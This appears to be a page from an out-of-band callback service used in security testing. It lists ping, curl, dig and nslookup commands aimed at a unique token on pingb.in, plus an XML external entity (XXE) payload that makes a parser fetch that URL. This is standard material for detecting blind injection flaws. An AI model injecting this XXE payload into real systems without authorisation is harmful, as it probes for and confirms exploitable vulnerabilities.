$ ping -c1 -p 00880243647d5b00718a9435b7e10300 pingb.in
 
$ curl pingb.in/p/880243647d5b00718a9435b7e103
 
$ dig 880243647d5b00718a9435b7e103 @pingb.in
 
$ dig 880243647d5b00718a9435b7e103.ns.pingb.in
 
C:\> nslookup 880243647d5b00718a9435b7e103 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/880243647d5b00718a9435b7e103">]>
    <foo>&xxe;</foo>
 
Waiting for ping...